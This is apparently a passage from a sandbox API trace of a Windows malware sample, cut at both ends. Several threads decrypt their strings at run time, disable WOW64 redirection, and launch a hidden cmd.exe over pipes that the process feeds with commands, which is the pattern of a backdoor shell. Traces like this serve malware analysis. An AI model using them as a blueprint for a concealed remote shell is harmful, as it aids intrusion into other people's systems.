13 os_tid = 0xb2c [0037.222] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0037.222] CryptImportKey (in: hProv=0x585138, pbData=0xe9fe2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe9fe94 | out: phKey=0xe9fe94*=0x588c40) returned 1 [0037.222] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xe9fe7c, dwFlags=0x0) returned 1 [0037.222] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xe9fe48 | out: pbData=0xb81508, pdwDataLen=0xe9fe48) returned 1 [0037.222] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.222] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x14) returned 0xb81530 [0037.222] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x14) returned 0xb81698 [0037.222] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb816b8 [0037.222] CryptImportKey (in: hProv=0x585138, pbData=0xe9fe04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe9fe6c | out: phKey=0xe9fe6c*=0x588c40) returned 1 [0037.222] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xe9fe54, dwFlags=0x0) returned 1 [0037.222] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb816b8, pdwDataLen=0xe9fe20 | out: pbData=0xb816b8, pdwDataLen=0xe9fe20) returned 1 [0037.222] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.222] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816b8 | out: hHeap=0xb80000) returned 1 [0037.222] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb81530, nSize=0xa | out: lpDst="") returned 0x1c [0037.222] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81698 | out: hHeap=0xb80000) returned 1 [0037.222] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb81530, Size=0x26) returned 0xb81530 [0037.222] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x26) returned 0xb81698 [0037.222] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb816c8 [0037.222] CryptImportKey (in: hProv=0x585138, pbData=0xe9fe00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe9fe68 | out: phKey=0xe9fe68*=0x588c40) returned 1 [0037.222] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xe9fe50, dwFlags=0x0) returned 1 [0037.222] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb816c8, pdwDataLen=0xe9fe1c | out: pbData=0xb816c8, pdwDataLen=0xe9fe1c) returned 1 [0037.222] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.222] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816c8 | out: hHeap=0xb80000) returned 1 [0037.222] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb81530, nSize=0x13 | out: lpDst="") returned 0x1c [0037.223] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81698 | out: hHeap=0xb80000) returned 1 [0037.223] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb81530, Size=0x4a) returned 0xb81698 [0037.223] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4a) returned 0xb816f0 [0037.223] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85508 [0037.223] CryptImportKey (in: hProv=0x585138, pbData=0xe9fe00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe9fe68 | out: phKey=0xe9fe68*=0x588c40) returned 1 [0037.223] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xe9fe50, dwFlags=0x0) returned 1 [0037.223] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85508, pdwDataLen=0xe9fe1c | out: pbData=0xb85508, pdwDataLen=0xe9fe1c) returned 1 [0037.223] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.223] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0037.223] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb81698, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0037.223] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816f0 | out: hHeap=0xb80000) returned 1 [0037.223] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.223] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb81508 [0037.223] CryptImportKey (in: hProv=0x585138, pbData=0xe9fe24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe9fe8c | out: phKey=0xe9fe8c*=0x588c40) returned 1 [0037.223] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xe9fe74, dwFlags=0x0) returned 1 [0037.223] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xe9fe40 | out: pbData=0xb81508, pdwDataLen=0xe9fe40) returned 1 [0037.223] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.223] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0037.223] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0037.223] Wow64DisableWow64FsRedirection (in: OldValue=0xe9ff44 | out: OldValue=0xe9ff44*=0x0) returned 1 [0037.223] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.223] CreatePipe (in: hReadPipe=0xe9ff50, hWritePipe=0xe9ff54, lpPipeAttributes=0xe9ff2c, nSize=0x0 | out: hReadPipe=0xe9ff50*=0xa0, hWritePipe=0xe9ff54*=0x9c) returned 1 [0037.224] CreatePipe (in: hReadPipe=0xe9ff4c, hWritePipe=0xe9ff48, lpPipeAttributes=0xe9ff2c, nSize=0x0 | out: hReadPipe=0xe9ff4c*=0xf0, hWritePipe=0xe9ff48*=0xec) returned 1 [0037.224] SetHandleInformation (hObject=0x9c, dwMask=0x1, dwFlags=0x0) returned 1 [0037.224] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0037.224] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xe9fed8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xa0, hStdOutput=0xec, hStdError=0xec), lpProcessInformation=0xe9ff1c | out: lpCommandLine=0x0, lpProcessInformation=0xe9ff1c*(hProcess=0x108, hThread=0x10c, dwProcessId=0xb3c, dwThreadId=0xb40)) returned 1 [0037.268] WriteFile (in: hFile=0x9c, lpBuffer=0xb81568*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0xe9ff38, lpOverlapped=0x0 | out: lpBuffer=0xb81568*, lpNumberOfBytesWritten=0xe9ff38*=0xbc, lpOverlapped=0x0) returned 1 [0037.268] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0xffffffff) Thread: id = 14 os_tid = 0xb30 [0037.238] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0037.238] CryptImportKey (in: hProv=0x585138, pbData=0x117fe38, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x117fea0 | out: phKey=0x117fea0*=0x588c40) returned 1 [0037.238] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x117fe88, dwFlags=0x0) returned 1 [0037.238] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0x117fe54 | out: pbData=0xb81508, pdwDataLen=0x117fe54) returned 1 [0037.238] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.238] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x14) returned 0xb81530 [0037.238] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x14) returned 0xb816f0 [0037.239] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85508 [0037.239] CryptImportKey (in: hProv=0x585138, pbData=0x117fe10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x117fe78 | out: phKey=0x117fe78*=0x588c40) returned 1 [0037.239] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x117fe60, dwFlags=0x0) returned 1 [0037.239] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85508, pdwDataLen=0x117fe2c | out: pbData=0xb85508, pdwDataLen=0x117fe2c) returned 1 [0037.239] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.239] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0037.239] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb81530, nSize=0xa | out: lpDst="") returned 0x1c [0037.239] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816f0 | out: hHeap=0xb80000) returned 1 [0037.239] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb81530, Size=0x26) returned 0xb81530 [0037.239] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x26) returned 0xb816f0 [0037.239] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85508 [0037.239] CryptImportKey (in: hProv=0x585138, pbData=0x117fe0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x117fe74 | out: phKey=0x117fe74*=0x588c40) returned 1 [0037.239] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x117fe5c, dwFlags=0x0) returned 1 [0037.239] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85508, pdwDataLen=0x117fe28 | out: pbData=0xb85508, pdwDataLen=0x117fe28) returned 1 [0037.239] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.239] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0037.239] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb81530, nSize=0x13 | out: lpDst="") returned 0x1c [0037.239] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816f0 | out: hHeap=0xb80000) returned 1 [0037.239] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb81530, Size=0x4a) returned 0xb816f0 [0037.239] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4a) returned 0xb85508 [0037.239] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85560 [0037.239] CryptImportKey (in: hProv=0x585138, pbData=0x117fe0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x117fe74 | out: phKey=0x117fe74*=0x588c40) returned 1 [0037.239] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x117fe5c, dwFlags=0x0) returned 1 [0037.239] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85560, pdwDataLen=0x117fe28 | out: pbData=0xb85560, pdwDataLen=0x117fe28) returned 1 [0037.239] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.239] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85560 | out: hHeap=0xb80000) returned 1 [0037.239] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb816f0, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0037.239] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0037.239] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.239] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb81508 [0037.239] CryptImportKey (in: hProv=0x585138, pbData=0x117fe30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x117fe98 | out: phKey=0x117fe98*=0x588c40) returned 1 [0037.239] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x117fe80, dwFlags=0x0) returned 1 [0037.239] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0x117fe4c | out: pbData=0xb81508, pdwDataLen=0x117fe4c) returned 1 [0037.239] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.240] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0037.240] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0037.240] Wow64DisableWow64FsRedirection (in: OldValue=0x117ff50 | out: OldValue=0x117ff50*=0x0) returned 1 [0037.240] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.240] CreatePipe (in: hReadPipe=0x117ff5c, hWritePipe=0x117ff60, lpPipeAttributes=0x117ff38, nSize=0x0 | out: hReadPipe=0x117ff5c*=0x98, hWritePipe=0x117ff60*=0xf4) returned 1 [0037.241] CreatePipe (in: hReadPipe=0x117ff58, hWritePipe=0x117ff54, lpPipeAttributes=0x117ff38, nSize=0x0 | out: hReadPipe=0x117ff58*=0xf8, hWritePipe=0x117ff54*=0xfc) returned 1 [0037.241] SetHandleInformation (hObject=0xf4, dwMask=0x1, dwFlags=0x0) returned 1 [0037.241] SetHandleInformation (hObject=0xf8, dwMask=0x1, dwFlags=0x0) returned 1 [0037.241] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x117fee4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x98, hStdOutput=0xfc, hStdError=0xfc), lpProcessInformation=0x117ff28 | out: lpCommandLine=0x0, lpProcessInformation=0x117ff28*(hProcess=0x104, hThread=0x100, dwProcessId=0xb34, dwThreadId=0xb38)) returned 1 [0037.263] WriteFile (in: hFile=0xf4, lpBuffer=0xb81630*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x117ff44, lpOverlapped=0x0 | out: lpBuffer=0xb81630*, lpNumberOfBytesWritten=0x117ff44*=0x5b, lpOverlapped=0x0) returned 1 [0037.263] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0059.224] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb86228 [0059.224] CryptImportKey (in: hProv=0x585138, pbData=0x117fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x117fea8 | out: phKey=0x117fea8*=0x5932a0) returned 1 [0059.224] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x117fe90, dwFlags=0x0) returned 1 [0059.224] CryptDecrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0x117fe5c | out: pbData=0xb86228, pdwDataLen=0x117fe5c) returned 1 [0059.224] CryptDestroyKey (hKey=0x5932a0) returned 1 [0059.225] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0059.225] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76c4d668 [0059.225] Wow64RevertWow64FsRedirection (OlValue=0x117ff50) returned 1 [0059.225] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0059.225] CloseHandle (hObject=0x104) returned 1 [0059.225] CloseHandle (hObject=0x100) returned 1 [0059.225] CloseHandle (hObject=0x98) returned 1 [0059.225] CloseHandle (hObject=0xf4) returned 1 [0059.225] CloseHandle (hObject=0xf8) returned 1 [0059.225] CloseHandle (hObject=0xfc) returned 1 [0059.225] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816f0 | out: hHeap=0xb80000) returned 1 [0059.225] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81630 | out: hHeap=0xb80000) returned 1 Thread: id = 51 os_tid = 0xbd8 [0046.718] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x440) returned 0xb885d8 [0046.719] CryptImportKey (in: hProv=0x585138, pbData=0x292f7bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x292f824 | out: phKey=0x292f824*=0x58b138) returned 1 [0046.719] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x292f80c, dwFlags=0x0) returned 1 [0046.719] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb885d8, pdwDataLen=0x292f7d8 | out: pbData=0xb885d8, pdwDataLen=0x292f7d8) returned 1 [0046.719] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.719] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x434) returned 0xb88a20 [0046.719] GetLastError () returned 0x57 [0046.719] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x214) returned 0xb855b8 [0046.719] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0046.719] GetCurrentThreadId () returned 0xbd8 [0046.719] SetLastError (dwErrCode=0x57) [0046.719] GetLastError () returned 0x57 [0046.719] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.720] GetLastError () returned 0x57 [0046.720] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.721] SetLastError (dwErrCode=0x57) [0046.721] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.722] SetLastError (dwErrCode=0x57) [0046.722] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.723] SetLastError (dwErrCode=0x57) [0046.723] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.724] SetLastError (dwErrCode=0x57) [0046.724] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.725] SetLastError (dwErrCode=0x57) [0046.725] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.726] SetLastError (dwErrCode=0x57) [0046.726] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.727] GetLastError () returned 0x57 [0046.727] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.728] GetLastError () returned 0x57 [0046.728] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.729] SetLastError (dwErrCode=0x57) [0046.729] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] 